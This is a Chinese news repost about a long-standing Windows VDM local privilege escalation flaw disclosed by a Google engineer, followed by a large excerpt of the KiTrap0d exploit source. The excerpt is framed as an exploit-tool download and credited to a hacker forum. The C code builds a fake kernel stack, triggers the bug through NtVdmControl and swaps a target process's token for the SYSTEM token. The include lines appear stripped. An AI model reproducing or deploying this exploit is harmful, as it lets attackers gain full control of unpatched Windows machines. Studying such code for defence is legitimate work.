Google工程师爆出Windows系统17年高危漏洞

来源:百度文库 编辑:神马文学网 时间:2024/04/28 03:32:09
computerworld消息:导致谷歌遭受严重入侵的“极光”IE漏洞引发的大规模攻击刚开始,谷歌工程师Tavis Ormandy又曝出一个名为Windows“本地提权”的高危0day漏洞,该漏洞从1993年到现在已存在17年。传闻针对这一漏洞的利用代码已在网上流传,很可能引发新一轮挂马攻击。该漏洞存在于Windows系统中Windows Virtual DOS Machine (VDM)部件,而自从1993年7月份开始VDM部件就被加入到了微软的第一个32位操作系统Windows NT中,之后它一直都是Windows系统的重要组成部分,使用它你可以用户运行DOS和16位的Windows软件,所以这个漏洞会影响到Windows XP、Vista、Windows7、Server 2003以及Server 2008等主要的32位版本Windows操作系统的安全。新一轮的媒体关注和口水又将到来。"微软17年高危漏洞利用工具及源码下载
部分代码:
//
// --------------------------------------------------
// Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit
// --------------------------------------------taviso@sdf.lonestar.org ---
//
// Tavis Ormandy, June 2009.
//
//  Tested on:
//      $ cmd /c ver
//      Microsoft Windows [Version 5.2.3790]
//
// This file contains the exploit payload and VDM Subsystem control routines.
//
#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS // I prefer the definitions from ntstatus.h
#endif
#include
#include
#include
#include
#include
#include
#ifdef WIN32_NO_STATUS
# undef WIN32_NO_STATUS
#endif
#include
// Process to escalate to SYSTEM
static DWORD TargetPid;
// Pointer to fake kernel stack.
static PDWORD KernelStackPointer;
#define KernelStackSize 1024
// Enforce byte alignment by default
#pragma pack(1)
// Kernel module handle
static HMODULE KernelHandle;
// Eflags macros
#define EFLAGS_CF_MASK   0x00000001 // carry flag
#define EFLAGS_PF_MASK   0x00000004 // parity flag
#define EFLAGS_AF_MASK   0x00000010 // auxiliary carry flag
#define EFLAGS_ZF_MASK   0x00000040 // zero flag
#define EFLAGS_SF_MASK   0x00000080 // sign flag
#define EFLAGS_TF_MASK   0x00000100 // trap flag
#define EFLAGS_IF_MASK   0x00000200 // interrupt flag
#define EFLAGS_DF_MASK   0x00000400 // direction flag
#define EFLAGS_OF_MASK   0x00000800 // overflow flag
#define EFLAGS_IOPL_MASK 0x00003000 // I/O privilege level
#define EFLAGS_NT_MASK   0x00004000 // nested task
#define EFLAGS_RF_MASK   0x00010000 // resume flag
#define EFLAGS_VM_MASK   0x00020000 // virtual 8086 mode
#define EFLAGS_AC_MASK   0x00040000 // alignment check
#define EFLAGS_VIF_MASK  0x00080000 // virtual interrupt flag
#define EFLAGS_VIP_MASK  0x00100000 // virtual interrupt pending
#define EFLAGS_ID_MASK   0x00200000 // identification flag
#ifndef PAGE_SIZE
# define PAGE_SIZE 0x1000
#endif
//http://svn.reactos.org/reactos/trunk/reactos/include/ndk/ketypes.h
enum { VdmStartExecution = 0, VdmInitialize = 3 };
VOID    FirstStage();
BOOL    InitializeVdmSubsystem();
PVOID   KernelGetProcByName(PSTR);
BOOL    FindAndReplaceMember(PDWORD, DWORD, DWORD, DWORD, BOOL);
// This routine is where I land after successfully triggering the vulnerability.
VOID FirstStage()
{
FARPROC DbgPrint;
FARPROC PsGetCurrentThread;
FARPROC PsGetCurrentThreadStackBase, PsGetCurrentThreadStackLimit;
FARPROC PsLookupProcessByProcessId;
FARPROC PsReferencePrimaryToken;
FARPROC ZwTerminateProcess;
PVOID CurrentThread;
PVOID TargetProcess, *PsInitialSystemProcess;
DWORD StackBase, StackLimit;
DWORD i;
// Keep interrupts off until I've repaired my KTHREAD.
__asm cli
// Resolve some routines I need from the kernel export directory
DbgPrint                        = KernelGetProcByName("DbgPrint");
PsGetCurrentThread              = KernelGetProcByName("PsGetCurrentThread");
PsGetCurrentThreadStackBase     = KernelGetProcByName("PsGetCurrentThreadStackBase");
PsGetCurrentThreadStackLimit    = KernelGetProcByName("PsGetCurrentThreadStackLimit");
PsInitialSystemProcess          = KernelGetProcByName("PsInitialSystemProcess");
PsLookupProcessByProcessId      = KernelGetProcByName("PsLookupProcessByProcessId");
PsReferencePrimaryToken         = KernelGetProcByName("PsReferencePrimaryToken");
ZwTerminateProcess              = KernelGetProcByName("ZwTerminateProcess");
CurrentThread                   = (PVOID) PsGetCurrentThread();
StackLimit                      = (DWORD) PsGetCurrentThreadStackLimit();
StackBase                       = (DWORD) PsGetCurrentThreadStackBase();
DbgPrint("FirstStage() Loaded, CurrentThread @%p Stack %p - %p",
CurrentThread,
StackBase,
StackLimit);
// First I need to repair my CurrentThread, find all references to my fake kernel
// stack and repair them. Note that by "repair" I mean randomly point them
// somewhere inside the real stack.
DbgPrint("Repairing references to %p-%p inCurrentThread@%p...",
&KernelStackPointer[0],
&KernelStackPointer[KernelStackSize - 1],
CurrentThread);
// For every stack location, try to find all references to it in my
// CurrentThread.
for (i = 0; i < KernelStackSize; i++) {
// The size of this structure varies between kernels, whats the maximum
// size likely to be?
CONST DWORD MaxExpectedEthreadSize = 0x200;
// Find and repair all references to this location
while (FindAndReplaceMember((PDWORD) CurrentThread,
(DWORD) &KernelStackPointer[i],
(DWORD) StackBase - ((StackBase - StackLimit) / 2),
MaxExpectedEthreadSize,
FALSE))
;
}
// Find the EPROCESS structure for the process I want to escalate
if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) {
PACCESS_TOKEN SystemToken;
PACCESS_TOKEN TargetToken;
// What's the maximum size the EPROCESS structure is ever likely to be?
CONST DWORD MaxExpectedEprocessSize = 0x200;
DbgPrint("PsLookupProcessByProcessId(%u) => %p", TargetPid, TargetProcess);
DbgPrint("PsInitialSystemProcess @%p", *PsInitialSystemProcess);
// Find the Token object for my target process, and the SYSTEM process.
TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess);
SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess);
DbgPrint("PsReferencePrimaryToken(%p) => %p", TargetProcess, TargetToken);
DbgPrint("PsReferencePrimaryToken(%p) => %p", *PsInitialSystemProcess, SystemToken);
// Find the token in the target process, and replace with the system token.
FindAndReplaceMember((PDWORD) TargetProcess,
(DWORD) TargetToken,
(DWORD) SystemToken,
MaxExpectedEprocessSize,
TRUE);
// Success, try to terminate the current process.
ZwTerminateProcess(GetCurrentProcess(), 'w00t');
} else {
// Maybe the user closed the window?
DbgPrint("PsLookupProcessByProcessId(%u) Failed", TargetPid);
// Report this failure
ZwTerminateProcess(GetCurrentProcess(), 'LPID');
}
// Oops, Something went wrong, restore interrupts and spin here.
__asm sti
for (;;) __asm pause
}
// Search the specified data structure for a member with CurrentValue.
BOOL FindAndReplaceMember(PDWORD Structure,
DWORD CurrentValue,
DWORD NewValue,
DWORD MaxSize,
BOOL ObjectRefs)
{
DWORD i, Mask;
// Microsoft QWORD aligns object pointers, then uses the lower three
// bits for quick reference counting (nice trick).
Mask = ObjectRefs ? ~7 : ~0;
// Mask out the reference count.
CurrentValue &= Mask;
// Scan the structure for any occurrence of CurrentValue.
for (i = 0; i < MaxSize; i++) {
if ((Structure[i] & Mask) == CurrentValue) {
// And finally, replace it with NewValue.
Structure[i] = NewValue;
return TRUE;
}
}
// Member not found.
return FALSE;
}
// Find an exported kernel symbol by name.
PVOID KernelGetProcByName(PSTR SymbolName)
{
PUCHAR ImageBase;
PULONG NameTable;
PULONG FunctionTable;
PUSHORT OrdinalTable;
PIMAGE_EXPORT_DIRECTORY ExportDirectory;
PIMAGE_DOS_HEADER DosHeader;
PIMAGE_NT_HEADERS PeHeader;
DWORD i;
ImageBase       = (PUCHAR) KernelHandle;
DosHeader       = (PIMAGE_DOS_HEADER) ImageBase;
PeHeader        = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageBase
+ PeHeader->OptionalHeader
. DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
. VirtualAddress);
// Find required tablesa from the ExportDirectory.
NameTable       = (PULONG)(ImageBase + ExportDirectory->AddressOfNames);
FunctionTable   = (PULONG)(ImageBase + ExportDirectory->AddressOfFunctions);
OrdinalTable    = (PUSHORT)(ImageBase + ExportDirectory->AddressOfNameOrdinals);
// Scan each entry for a matching name.
for (i = 0; i < ExportDirectory->NumberOfNames; i++) {
PCHAR Symbol = ImageBase + NameTable[i];
if (strcmp(Symbol, SymbolName) == 0) {
// Symbol found, return the appropriate entry from FunctionTable.
return (PVOID)(ImageBase + FunctionTable[OrdinalTable[i]]);
}
}
// Symbol not found, this is likely fatal :-(
return NULL;
}
// Exploit entrypoint.
BOOL APIENTRY DllMain(HMODULE Module, DWORD Reason, LPVOID Reserved)
{
CONST DWORD MinimumExpectedVdmTibSize = 0x400;
CONST DWORD MaximumExpectedVdmTibSize = 0x800;
FARPROC NtVdmControl;
DWORD KernelStack[KernelStackSize];
DWORD Ki386BiosCallReturnAddress;
CHAR Pid[32], Off[32], Krn[32];
struct {
ULONG   Size;
PVOID   Padding0;
PVOID   Padding1;
CONTEXT Padding2;
CONTEXT VdmContext;
DWORD   Padding3[1024];
} VdmTib = {0};
// Initialise these structures with recognisable constants to ease debugging.
FillMemory(&VdmTib, sizeof VdmTib, 'V');
FillMemory(&KernelStack, sizeof KernelStack, 'K');
// Parent passes parameters via environment variables.
//
//  - VDM_TARGET_PID
//    Pid of the process to transplant a SYSTEM token onto.
//  - VDM_TARGET_OFF
//    Offset from ntoskrnl of Ki386BiosCallReturnAddress.
//  - VDM_TARGET_KRN
//    Ntoskrnl base address.
GetEnvironmentVariable("VDM_TARGET_PID", Pid, sizeof Pid);
GetEnvironmentVariable("VDM_TARGET_KRN", Krn, sizeof Krn);
GetEnvironmentVariable("VDM_TARGET_OFF", Off, sizeof Off);
NtVdmControl                = GetProcAddress(GetModuleHandle("NTDLL"), "NtVdmControl");
TargetPid                   = strtoul(Pid, NULL, 0);
// Setup the fake kernel stack, and install a minimal VDM_TIB,
KernelStackPointer          = KernelStack;
KernelStack[0]              = (DWORD) &KernelStack[8];      // Esp
KernelStack[1]              = (DWORD) NtCurrentTeb();       // Teb
KernelStack[2]              = (DWORD) NtCurrentTeb();       // Teb
KernelStack[7]              = (DWORD) FirstStage;           // RetAddr
KernelHandle                = (HMODULE) strtoul(Krn, NULL, 0);
VdmTib.Size                 = MinimumExpectedVdmTibSize;
*NtCurrentTeb()->Reserved4  = &VdmTib;
// Initialize the VDM Subsystem.
InitializeVdmSubsystem();
VdmTib.Size                 = MinimumExpectedVdmTibSize;
VdmTib.VdmContext.SegCs     = 0x0B;
VdmTib.VdmContext.Esi       = (DWORD) &KernelStack;
VdmTib.VdmContext.Eip       = strtoul(Krn, NULL, 0) + strtoul(Off, NULL, 0);
VdmTib.VdmContext.EFlags    = EFLAGS_TF_MASK;
*NtCurrentTeb()->Reserved4  = &VdmTib;
// Trigger the vulnerable code via NtVdmControl().
while (VdmTib.Size++ < MaximumExpectedVdmTibSize)
NtVdmControl(VdmStartExecution, NULL);
// Unable to find correct VdmTib size.
ExitThread('VTIB');
}
// Setup a minimal execution environment to satisfy NtVdmControl().
BOOL InitializeVdmSubsystem()
{
FARPROC NtAllocateVirtualMemory;
FARPROC NtFreeVirtualMemory;
FARPROC NtVdmControl;
PBYTE BaseAddress;
ULONG RegionSize;
static DWORD TrapHandler[128];
static DWORD IcaUserData[128];
static struct {
PVOID TrapHandler;
PVOID IcaUserData;
} InitData;
NtAllocateVirtualMemory = GetProcAddress(GetModuleHandle("NTDLL"), "NtAllocateVirtualMemory");
NtFreeVirtualMemory     = GetProcAddress(GetModuleHandle("NTDLL"), "NtFreeVirtualMemory");
NtVdmControl            = GetProcAddress(GetModuleHandle("NTDLL"), "NtVdmControl");
BaseAddress             = (PVOID) 0x00000001;
RegionSize              = (ULONG) 0x00000000;
InitData.TrapHandler    = TrapHandler;
InitData.IcaUserData    = IcaUserData;
// Remove anything currently mapped at NULL
NtFreeVirtualMemory(GetCurrentProcess(), &BaseAddress, &RegionSize, MEM_RELEASE);
BaseAddress             = (PVOID) 0x00000001;
RegionSize              = (ULONG) 0x00100000;
// Allocate the 1MB virtual 8086 address space.
if (NtAllocateVirtualMemory(GetCurrentProcess(),
&BaseAddress,
0,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS) {
ExitThread('NTAV');
return FALSE;
}
// Finalise the initialisation.
if (NtVdmControl(VdmInitialize, &InitData) != STATUS_SUCCESS) {
ExitThread('VDMC');
return FALSE;
}
return TRUE;
}
出自暗组信息安全论坛http://www.darkst.com/bbs/,
本贴地址:http://www.darkst.com/bbs/viewthread.php?tid=57539